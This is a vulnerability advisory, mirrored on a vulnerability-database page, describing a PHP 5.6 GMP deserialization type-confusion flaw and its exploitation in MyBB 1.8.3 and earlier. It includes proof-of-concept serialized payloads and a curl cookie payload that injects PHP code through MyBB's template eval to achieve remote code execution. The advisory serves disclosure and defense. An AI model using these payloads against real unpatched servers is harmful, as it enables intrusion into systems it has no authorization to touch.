Lucene search
K

PHP 5.6.x / MyBB 1.8.3 Remote Code Execution

🗓️ 22 Jan 2017 00:00:00Reported by Taoguang ChenType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 75 Views

Type-confusion vulnerability in GMP deserialization allows remote code execution on PHP 5.6.x and MyBB 1.8.

Code
`#GMP Deserialization Type Confusion Vulnerability [MyBB <= 1.8.3 RCE  
Vulnerability]  
  
Taoguang Chen <[@chtg57](https://twitter.com/chtg57)> - Write Date:  
2015.4.28 - Release Date: 2017.1.20  
  
> A type-confusion vulnerability was discovered in GMP deserialization with crafted object's __wakeup() magic method that can be abused for updating any already assigned properties of any already created objects, this result in serious security issues.  
  
Affected Versions  
------------  
Affected is PHP 5.6 < 5.6.30  
  
Credits  
------------  
This vulnerability was disclosed by Taoguang Chen.  
  
Description  
------------  
gmp.c  
```  
static int gmp_unserialize(zval **object, zend_class_entry *ce, const  
unsigned char *buf, zend_uint buf_len, zend_unserialize_data *data  
TSRMLS_DC) /* {{{ */  
{  
...  
ALLOC_INIT_ZVAL(zv_ptr);  
if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC)  
|| Z_TYPE_P(zv_ptr) != IS_ARRAY  
) {  
zend_throw_exception(NULL, "Could not unserialize properties", 0 TSRMLS_CC);  
goto exit;  
}  
  
if (zend_hash_num_elements(Z_ARRVAL_P(zv_ptr)) != 0) {  
zend_hash_copy(  
zend_std_get_properties(*object TSRMLS_CC), Z_ARRVAL_P(zv_ptr),  
(copy_ctor_func_t) zval_add_ref, NULL, sizeof(zval *)  
);  
}  
```  
  
zend_object_handlers.c  
```  
ZEND_API HashTable *zend_std_get_properties(zval *object TSRMLS_DC) /* {{{ */  
{  
zend_object *zobj;  
zobj = Z_OBJ_P(object);  
if (!zobj->properties) {  
rebuild_object_properties(zobj);  
}  
return zobj->properties;  
}  
```  
  
It has been demonstrated many times before that __wakeup() or other  
magic methods leads to `ZVAL` was changed from the memory in during  
deserializtion. So an attacker can change `**object` into an  
integer-type or bool-type `ZVAL`, then the attacker will be able to  
access any objects that stored in objects store via `Z_OBJ_P`. This  
means the attacker will be able to update any properties in the object  
via zend_hash_copy(). It is possible to lead to various problems and  
including security issues.  
  
The following codes will prove this vulnerability:  
```  
<?php  
  
class obj  
{  
var $ryat;  
  
function __wakeup()  
{  
$this->ryat = 1;  
}  
}  
  
$obj = new stdClass;  
$obj->aa = 1;  
$obj->bb = 2;  
  
$inner = 's:1:"1";a:3:{s:2:"aa";s:2:"hi";s:2:"bb";s:2:"hi";i:0;O:3:"obj":1:{s:4:"ryat";R:2;}}';  
$exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}';  
$x = unserialize($exploit);  
var_dump($obj);  
  
?>  
```  
  
Expected result:  
```  
object(stdClass)#1 (2) {  
["aa"]=>  
int(1)  
["bb"]=>  
int(2)  
}  
```  
  
Actual result:  
```  
object(stdClass)#1 (3) {  
["aa"]=>  
string(2) "hi"  
["bb"]=>  
string(2) "hi"  
[0]=>  
object(obj)#3 (1) {  
["ryat"]=>  
&int(1)  
}  
}  
```  
  
**i) How to exploited this bug in real world?**  
  
When PHP 5.6 <= 5.6.11, DateInterval's __wakeup() use  
convert_to_long() handles and reassignments its properties (it has  
been demonstrated many times), so an attacker can convert GMP object  
to an any integer-type `ZVAL` via GMP's gmp_cast_object():  
  
```  
static int gmp_cast_object(zval *readobj, zval *writeobj, int type  
TSRMLS_DC) /* {{{ */  
{  
mpz_ptr gmpnum;  
switch (type) {  
...  
case IS_LONG:  
gmpnum = GET_GMP_FROM_ZVAL(readobj);  
INIT_PZVAL(writeobj);  
ZVAL_LONG(writeobj, mpz_get_si(gmpnum));  
return SUCCESS;  
```  
  
The following codes will prove this exploite way:  
```  
<?php  
  
var_dump(unserialize('a:2:{i:0;C:3:"GMP":17:{s:4:"1234";a:0:{}}i:1;O:12:"DateInterval":1:{s:1:"y";R:2;}}'));  
  
?>  
```  
Of course, a crafted __wakeup() can also be exploited, ex:  
  
```  
<?php  
  
function __wakeup()  
{  
$this->ryat = (int) $this->ryat;  
}  
  
?>  
```  
  
**ii) Can be exploited this bug in real app?**  
  
Exploited the bug in MyBB:  
  
index.php  
```  
if(isset($mybb->cookies['mybb']['forumread']))  
{  
$forumsread = my_unserialize($mybb->cookies['mybb']['forumread']);  
}  
```  
  
MyBB <= 1.8.3 allow deserialized cookies via unserialize(), so an  
attacker will be able to update `$mybb` or other object's any  
properties, and it is possible to lead to security issues easily, ex:  
xss, sql injection, remote code execution and etc. :-)  
  
**P.S. I had reported this vulnerability and it had been fixed in mybb  
>= 1.8.4.**  
  
Proof of Concept Exploit  
------------  
**MyBB <= 1.8.3 RCE vulnerability**  
  
index.php  
```  
eval('$index = "'.$templates->get('index').'";');  
```  
  
MyBB always use eval() function in during template parsing.  
  
inc/class_templates.php  
```  
class templates  
{  
...  
public $cache = array();  
...  
function get($title, $eslashes=1, $htmlcomments=1)  
{  
global $db, $theme, $mybb;  
...  
$template = $this->cache[$title];  
...  
return $template;  
}  
```  
  
If we can control the `$cache`, we will be albe to inject PHP code via  
eval() function.  
  
inc/init.php  
```  
$error_handler = new errorHandler();  
...  
$maintimer = new timer();  
...  
$mybb = new MyBB;  
...  
switch($config['database']['type'])  
{  
case "sqlite":  
$db = new DB_SQLite;  
break;  
case "pgsql":  
$db = new DB_PgSQL;  
break;  
case "mysqli":  
$db = new DB_MySQLi;  
break;  
default:  
$db = new DB_MySQL;  
}  
...  
$templates = new templates;  
```  
  
The `$templates` object was instantiated in init.php, and four objects  
was instantiated in this before. This means the `$templates` object's  
handle was set to `5` and stored into objects store, so we can access  
the `$templates` object and update the `$cache` property via convert  
GMP object into integer-type `ZVAL` that value is `5` in during GMP  
deserialization. This also means we can inject PHP code via eval()  
function.  
  
When MyBB <= 1.8.3 and PHP 5.6 <= 5.6.11, remote code execution by  
just using curl on the command line:  
```  
curl --cookie 'mybb[forumread]=a:1:{i:0%3bC:3:"GMP":106:{s:1:"5"%3ba:2:{s:5:"cache"%3ba:1:{s:5:"index"%3bs:14:"{${phpinfo()}}"%3b}i:0%3bO:12:"DateInterval":1:{s:1:"y"%3bR:2%3b}}}}'  
http://127.0.0.1/mybb/  
```  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation